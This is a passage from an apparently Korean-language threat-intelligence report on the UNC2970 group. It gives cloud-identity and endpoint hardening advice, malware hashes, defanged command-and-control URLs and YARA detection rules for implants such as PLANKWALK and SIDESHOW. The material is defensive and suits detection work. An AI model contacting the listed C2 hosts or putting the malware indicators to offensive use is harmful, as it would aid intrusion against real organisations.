강력한 다중 인증 적용: 모든 사용자와 관리자 대해 다중 인증(MFA)을 적용해야 합니다. 권한 없는 사용자 계정의 경우도 SMS, 음성, OTP, 푸시 알림 같은 약한 방식보다는 번호 확인, 애플리케이션 이름 및 지리적 위치 등 상황 정보까지 확인하는 강한 방식을 적용해야 합니다. 권한이 있는 계정의 경우 하드웨어 토큰이나 FIDO2 보안 키를 적용하고 사내 네트워크에 있거나, VPN을 통해 연결하거나 여러 위치에서 로그인할 때마다 다중 인증을 요구해야 합니다. 더 강력한 다중 인증을 적용할 때 조직은 Azure AD에서 관리 권한이 모든 계정에 집중해야 합니다. 상황에 맞는 다중 인증 설정에 대한 추가 정보는 마이크로소프트의 문서를 참조 바랍니다.

권한 있는 ID 관리(PIM): 맨디언트는 조직이 PIM 솔루션을 활용하는 것을 권장합니다. PIM 솔루션은 요청이 있을 때 특정 기간 동안만 액세스를 허가하는 기능(Just in Time)이 포함되어야 합니다. 그리고 글로벌 관리자나 Intune 관리자 같은 권한이 높은 계정의 경우 액세스를 사전 승인 절차를 따르도록 해야 합니다.

조건부 액세스 정책(CAP): 조직은 CAP를 통해 Intune 같은 클라우드 앱에 대한 액세스 요청을 처리할 때 위치 및 장치 같은 다양한 조건을 사전에 확인하는 것을 설정할 수 있습니다. 맨디언트는 조직이 CAP을 사용해 Azure AD에 등록된 규정을 준수하는 장치와 신뢰할 수 있는 IP만 허용하는 것을 권장합니다. CAP를 활용해 클라우드 앱에 액세스 하는 방법에 대한 상세 내용은 마이크로소프트 문서를 참조 바랍니다.

Azure ID 보호: ID 기반 위험을 탐지하고 완화를 위한 수정을 자동으로 처리하는 Azure AD의 보안 기능인 Azure ID 보호를 사용해야 합니다. 이 기능은 사용자 계정 활동과 로그인 활동을 분석해 잠재적으로 손상된 계정 또는 무단 인증 요청을 식별합니다. 또한, 이를 활용하면 사용자 또는 로그인 위험에 따라 액세스 제어를 적용하여 CAP를 개선할 수 있습니다. 이외에도 추가 상관관계 분석을 위해 SIEM 솔루션에 ID 관련 데이터를 내보낼 수도 있습니다. 참고로 AD ID 보호를 사용하려면 Azure AD 프리미엄 P2 라이선스가 필요합니다.

다중 관리자 승인: 무단 변경을 방지하기 위해 Intune을 사용하는 조직은 다중 관리자 승인 기능을 구현해야 합니다. 이 기능은 스크립트 및 앱 배포를 수정하거나 만들기 전에 보조 관리자 승인이 필요한 다중 관리자 승인 프로세스를 적용합니다.

추가 보안 제어

오피스 매크로 차단: 마이크로소프트는 인터넷에서 매크로를 차단하도록 오피스 응용 프로그램의 기본 동작을 변경했지만 맨디언트는 여전히 조직이 매크로가 포함된 오피스 파일의 동작을 제어하고 시행하는 정책을 사전에 배포할 것을 권장합니다. 정책을 사용해 오피스에서 매크로를 처리하는 방법에 대한 자세한 내용은 마이크로소프트 문서를 참조 바랍니다.

디스크 이미지 자동 마운트 비활성화: 맨디언트는 UNC2970이 악성 페이로드가 포함된 트로이 목마 ISO 파일을 사용해 보안 제어를 우회하고 피해자를 속여 맬웨어를 실행하는 것을 관찰하였습니다. 윈도우 시스템에서 파일을 마우스 오른쪽 버튼으로 클릭한 다음 컨텍스트 메뉴에서 마운트를 선택하여 IOS 이미지 파일 유형(.iso, .img, .vhd, .vhdx) 관련 레지스트리 키를 삭제해야 제거할 수 있습니다. 이러한 레지스트리 키를 삭제하면 사용자 파일을 더블 클릭하여 이미지 파일을 자동 마운트하는 것도 방지할 수 있습니다.

파워쉘 로깅 향상: 보안 엔지니어와 침해 조사자에게 악의적인 활동 탐지에 필요한 가시성을 제공하고 시스템에서 파워쉘이 어떻게 사용되었는지에 대한 기록을 제공하기 위해 로깅을 강화하기 바랍니다. 파워쉘 로깅 관련해 더 자세한 정보는 맨디언트 블로그 게시물을 참조 바랍니다.

침해 지표

IOC

Signature

e97b13b7e91edeceeac876c3869cc4eb

PLANKWALK

a9e30c16df400c3f24fc4e9d76db78ef

PLANKWALK

f910ffb063abe31e87982bad68fd0d87

PLANKWALK

30358639af2ecc217bbc26008c5640a7

LIDSHIFT

41dcd8db4371574453561251701107bc

LIDSHOT

866f9f205fa1d47af27173b5eb464363

TOUCHSHIFT

8c597659ede15d97914cb27512a55fc7

TOUCHSHIFT

a2109276dc704dedf481a4f6c8914c6e

TOUCHSHIFT

3bf748baecfc24def6c0393bc2354771

TOUCHSHOT

91b6d6efa5840d6c1f10a72c66e925ce

TOUCHKEY

300103aff7ab676a41e47ec3d615ba3f

HOOKSHOT

49425d6dedb5f88bddc053cc8fd5f0f4

TOUCHMOVE

abd91676a814f4b50ec357ca1584567e

SIDESHOW

05b6f459be513bf6120e9b2b85f6c844

CLOUDBURST

hxxp://webinternal.anyplex[.]com/images/query_image.jsp

PLANKWALK C2

hxxp://www.fainstec[.]com/assets/js/jquery/jquery.php

PLANKWALK C2

hxxps://ajayjangid[.]in/js/jquery/jquery.php

PLANKWALK C2

hxxps://sede.lamarinadevalencia[.]com/tablonEdictal/layout/contentLayout.jsp

PLANKWALK C2

hxxps://leadsblue[.]com/wp-content/wp-utility/index.php

LIDSHOT C2

hxxps://toptradenews[.]com/wp-content/themes/themes.php

SIDESHOW C2

hxxp://mantis.quick.net[.]pl/library/securimage/index.php

SIDESHOW C2

hxxp://www.keewoom.co[.]kr/prod_img/201409/prod.php

SIDESHOW C2

hxxp://abba-servicios[.]mx/wordpress/wp-content/themes/config.php

SIDESHOW C2

hxxp://www.ruscheltelefonia[.]com.br/public/php/index.php

SIDESHOW C2

hxxps://olidhealth[.]com/wp-includes/php-compat/compat.php

CLOUDBURST C2

hxxps://doug[.]org/wp-includes/admin.php

CLOUDBURST C2

hxxps://crickethighlights[.]today/wp-content/plugins/contact.php

CLOUDBURST C2

보안 유효성 검사 및 작업 관리

맨디언트 보안 유효성 검사와 함께 다음 작업을 통해 보안 제어 유효성을 평가할 수 있습니다.

VID

Name

A105-491

Command and Control - QUESTDOWN, Exfiltration, Variant #1

A105-492

Command and Control - QUESTDOWN, Exfiltration, Variant #2

A105-493

Command and Control - QUESTDOWN, Next Stage Download Attempt, Variant #1

A105-494

Command and Control - QUESTDOWN, Status, Variant #1

A105-507

Phishing Email - Malicious Attachment, PLANKWALK Downloader, Variant #1

A105-508

Phishing Email - Malicious Attachment, QUESTDOWN Dropper, Variant #1

A105-514

Protected Theater - QUESTDOWN, Execution, Variant #1

S100-218

Malicious Activity Scenario - Campaign 22-046, QUESTDOWN Infection

시그니처

PLANKWALK

rule M_Hunt_APT_PLANKWALK_Code_String {

  meta:

    author = "Mandiant"

    description = "Detects a format string containing code and token found in PLANKWALK"

  strings:

     $hex = { 63 6F 64 65 [1-6] 3D 25 64 26 [1-6] 75 73 65 72 [1-6] 3D 25 73 26 [1-6] 74 6F 6B 65   }

  condition:

    (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $hex

}

LIDSHIFT

rule M_APT_Loader_Win_LIDSHIFT_1 {

   meta:

      author = "Mandiant"

      description = "Detects LIDSHIFT implant"

    strings:

      $anchor1 = "%s:%s:%s" ascii

      $encloop = { 83 ?? 3F 72 ?? EB ?? 8D ?? ??  B8 ?? 41 10 04 F7 ?? 8B ??  2B ??  D1 ??  03 ??  C1 ?? 05 6B ?? 3F 2B ??  42 0F ?? ?? ?? 41 ?? ?? }                   

    condition:

                  uint16(0) == 0x5a4d and all of them

}

LIDSHOT

rule M_APT_Loader_Win_LIDSHOT_1 {

    meta:

        author = "Mandiant"

        description = "Detects LIDSHOT implant"

    strings:

        $code1 = { 4C 89 6D ?? 4C 89 6D ?? C7 45 ?? 01 23 45 67 C7 45 ?? 89 AB CD EF C7 45 ?? FE DC BA 98 C7 45 ?? 76 54 32 10 4C 89 6C 24 ?? 48 C7 45 ?? 0F 00 00 00 C6 44 24 ?? 00 }

        $code2 = { B8 1F 85 EB 51 41 F7 E8 C1 FA 03 8B CA C1 E9 1F 03 D1 6B CA 19 }

        $code3 = { C7 45 ?? 30 6B 4C 6C 66 C7 45 ?? 55 00 }                    

      condition:

   uint16(0) == 0x5a4d and all of them

}

CLOUDBURST

rule M_APT_Loader_Win_CLOUDBURST_1 {

    meta:

        author = "Mandiant"

      strings:    

$anchor1 = "Microsoft Enhanced Cryptographic Provider v1.0" ascii wide

$code1 = { 74 79 70  }

$code2 = { 65 71 75 69 }

$code3 = { 62 6F 78 69 }

$code4 = { E8 ?? ?? ?? ?? FF C6 B8 99 99 99 99 F7 EE D1 FA 8B C2   C1 E8 1F 03 D0  8D 04 16  8D 34 90  85 F6 75 ?? }

$str1 = "%s%X"   

      condition:

                  uint16(0) == 0x5a4d and all of them

}

TOUCHSHIFT

rule M_DropperMemonly_TOUCHSHIFT_1 {

    meta:

        author = "Mandiant"

        description = "Hunting rule for TOUCHSHIFT"

    strings:

        $p00_0 = {0943??eb??ff43??b0??eb??e8[4]c700[4]e8[4]32c0}

        $p00_1 = {4c6305[4]ba[4]4c8b0d[4]488b0d[4]ff15[4]4c6305[4]ba[4]4c8b0d[4]488b0d}

    condition:

        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and

        (

            ($p00_0 in (70000..90000) and $p00_1 in (0..64000))

        )

}

SIDESOW

rule M_APT_Backdoor_Win_SIDESHOW_1 {

    meta:

        author = "Mandiant"

            description = "Detects string deobfuscation function in SIDESHOW, may also detect other variants of malware from the same actor"

      strings:

            $code1 = { 41 0F B6 ?? 33 ?? 48 ?? ?? 0F 1F 80 00 00 00 00 3A ?? 74 ?? FF ?? 48 FF ?? 83 ?? 48 72 ?? EB ?? 41 0F ?? ?? 2B ?? ?? 39 8E E3 38 83 ?? 48 F7 ?? C1 ?? 04 8D ?? ?? C1 ?? 03 2B ?? ?? 39 8E E3 38 }

      condition:

                  uint16(0) == 0x5a4d and (all of them)

}

TOUCHKEY

rule M_Hunting_TOUCHKEY {

    meta:

        author = "Mandiant"

        description = "Hunting rule For TOUCHKEY"

    strings:

        $a1 = "Normal.dost" 

        $a2 = "Normal.docb"

        $c1 = "[SELECT]" ascii wide

        $c2 = "[SLEEP]" ascii wide

        $c3 = "[LSHIFT]" ascii wide

        $c4 = "[RSHIFT]" ascii wide

        $c5 = "[ENTER]" ascii wide

        $c6 = "[SPACE]" ascii wide

    condition:

        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550

        and filesize < 200KB and (5 of ($c*)) and $a1 and $a2

}

TOUCHSHOT

rule M_Hunting_TOUCHSHOT {

     meta:

        author = "Mandiant"

        description = "Hunting rule For TOUCHSHOT"

    strings:

        $path = "%s\\Microsoft\\Windows\\Themes\\" wide

        $format = "%04d%02d%02d-%02d%02d%02d"

        $s1 = "EnumDisplaySettingsExW" ascii

        $s2 = "GetSystemMetrics" ascii

        $s3 = "GetDC" ascii

        $s5 = "ReleaseDC" ascii

    condition:

        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550

        and filesize < 200KB and (3 of ($s*)) and $path and $format

}

HOOKSHOT

rule M_Hunting_HOOKSHOT {

    meta:

        author = "Mandiant"

        description = "Hunting rule for HOOKSHOT"

    strings:

        $p00_0 = {8bb1[4]408873??85f675??488b81[4]488b88[4]4885c974??e8}

        $p00_1 = {8bf3488bea85db0f84[4]4c8d2d[4]66904c8d4424??8bd6488bcd}

    condition:

        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and

        (

            ($p00_0 in (470000..490000) and $p00_1 in (360000..380000))

        )

}

감사의 말

John Wolfram, Rich Reece, Colby Lahaie, Dan Kelly, Joe Pisano, Jeffery Johnson, Fred Plan, Omar ElAdhan, Renato Fontana, Daniel Kenney 그리고 맨디언트 인텔리전스와 컨설팅 조직의 모든 구성워에게 감사합니다. 또한, MSV(Mandiant Security Validation) 액션을 만들어 준 Lexie Aytes와 기술 검토 및 피드백을 제공해 준 Michael Barnhart, Jake Nicastro, Geoff Ackerman, Dan Perex에게도 감사의 인사를 전합니다.